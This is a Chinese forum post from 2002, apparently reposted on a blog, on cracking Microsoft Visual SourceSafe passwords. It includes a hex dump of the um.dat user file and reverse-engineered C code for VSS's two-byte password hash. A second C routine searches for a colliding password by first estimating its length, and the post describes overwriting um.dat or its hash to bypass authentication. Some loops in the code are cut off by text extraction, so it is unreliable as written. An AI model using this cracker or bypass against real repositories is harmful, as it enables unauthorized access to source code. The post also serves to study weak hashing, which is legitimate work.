天天看點

VSS的密碼破解算法的思路

發信人:flashsky(閃空),信區:

網絡安全精華區

标題:VSS的密碼破解算法的思路

發信站:安全焦點(2002-09-20 19:41:07)

今天一個同僚來找我,說VSS的ADMIN密碼給忘記了。項目組的源代碼管理不了。我拿VSS的程式反彙編一看,天啊,VSS的認證過程真是老土,當然對于具有本地管理者權限的人隻需要覆寫掉date/um.dat檔案就可以更改密碼。而且VSS本身是靠檔案共享的,安全性極差,不過如果不知道其密碼,其檔案的組織還是比較麻煩的,如果知道了密碼的話,就容易處理的多。是以我這篇文章都不好意思當文章送出的,其實這篇文章重點不是講如何擷取VSS的密碼,而是講一下算法破解的思路。

VSS的密碼認證過程是這樣的,從DATE目錄下的UM檔案讀取密碼加密字串,而這個檔案是任何可以共享VSS目錄的人都可以看見的,一般而言這個目錄都會設定比較低級别的共享。VSS的加密密碼實際上是一個2位的散列:格式如下:

55 55 FF D2 41 64 6D 69-6E 00 00 00 00 00 00 00   UU..Admin.......

00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

00 00 00 00 1A 69 00 00-A8 01 00 00 00 00 00 00   .....i..........

00 00 00 00 00 00 00 00-00 00 00 00 38 00 00 00   ............8...

55 55 90 80 47 75 65 73-74 00 00 00 00 00 00 00   UU..Guest.......

00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

00 00 00 00 55 69 00 00-3C 02 00 00 00 00 00 00   ....Ui..<.......

00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

其中1A 69就是ADMIN的散列

而  55 69就是GUEST的散列

跟蹤一下VSS的算法可以得出如下的加密算法,另外在加密之前,串入的密碼會先轉化成大寫格式的。

void envsspasswd(char * passwd,char * enpasswd,int len)

{

    const char incstr[15]=/"BrianDavidHarry/";

    char passwd1[200];

    int i;

    WORD a;

    WORD b;

    if(len>15)

        return 0;

    memcpy(passwd1,passwd,len);

    memcpy(passwd1+len,incstr,15-len);

    passwd1[15]=0;

    len = 15;

    b = 0;

    a = 0;

    for(i=0;i

    {

        a =  passwd1[i];

        a = a ^ 0x96;

        a = a*(i+1);

        b += a;

    }

    printf(/"%02x/",b);

}

OK,其實我們講到這裡,關于VSS的密碼破解就一點意義也沒有了,而是在一個思路上,從上面可以看到,其密碼隻具2位長度,是以肯定存在很多散列一緻的密碼,是以無需真正找到密碼,隻需要找到一個具備同樣散列的密碼就可以了。

當然,如果隻是暴力跑的話,效果會比較差的,因為上面這個算法會導緻相同位數的散列是比較靠近的,不同位數的散類差距比較大,如果不知道密碼的位數,一位的窮局舉的話效果并不會很理想。那麼如何來确定密碼的位數呢?實際根據上面的加密算法我們可以知道其密碼散列遞增的規律,下面的實作就是根據這個算法可以最優先的找到密碼位數,然後在位數以内進行窮舉的實作,使得計算的速度非常高:

關鍵點在于這句:

    d = a - b;

    if((d/num)>154 && (d/num)<250)

因為我們知道,x^80肯定是會大于128的,對于‘0’到‘Z’的可能密碼組合,最小生成的都應該大于154。進而判斷這個長度是否可能存在可能的解。

int devsspasswd(char enp[4],char * dnp)

{

    const char incstr[15]=/"BrianDavidHarry/";

    int i;

    int j;

    int k;

    long c1;

    long c2;

    long c4;

    int c3;

    WORD a;

    WORD b;

    WORD c;

    WORD d;

    WORD e;

    int num;

    a = hextoint(enp[2])*16*16*16+hextoint(enp[3])*16*16+hextoint(enp[0])*16+hextoint(enp[1]);

    c3 = /'Z/'-/'0/'+1;

    for(i=0;i<15;i++)

    {

        dnp[i]=0;

        b =0;

        for(j=0;j<15-i;j++)

        {

            c = incstr[j];

            c = c ^ 0x96;

            c = c*(j+1+i);

            b += c;

        }

        if(i==0 && b==a)

        {

            printf(/"password is null/n/");

            return 0;

        }

        d = a - b;

        num = 0;

        c2 = 1;

        for(j=0;j

        {

            num = num+j+1;

            c2 = c3*c2;

        }

        if(num>0)

        {

            c1 = 0;            

            if((d/num)>154 && (d/num)<250)

            {

                memset(dnp,/'0/',i);

                Sleep(100);

                do{

                    c4 = 1;

                    for(j=1;j

                    {

                        c4 = c4 * c3;

                        if(c1%c4==0)

                            dnp[j]=/'0/';

                        else

                        {

                            dnp[j]++;

                            break;

                        }

                    }

                    b = 0;

                    for(k=1;k

                    {

                        c = dnp[k];

                        c = c ^ 0x96;

                        c = c*(k+1);

                        b += c;

                    }

                    e=d-b;    

                    if((e^0x96)>=/'0/' && (e^0x96)<=/'Z/')

                    {

                        dnp[0]=(e^0x96);

                        printf(/"%s/n/",dnp);

                        return i;

                    }

                    c1++;

                }while(c1

            }

        }

    }

    return 0;    

}

當然,這個算法對VSS密碼破解本身意義不大,擁有um.dat寫權限的直接拷貝别人的知道密碼的um.dat檔案覆寫就可以,或者修改其中的散列,不知道的呢,也可以直接通過共享拷貝資料檔案再使用um.dat覆寫或者在vss程式中饒過密碼達到圖破權限,寫這點東西是重點強調一下破解算法的思路

繼續閱讀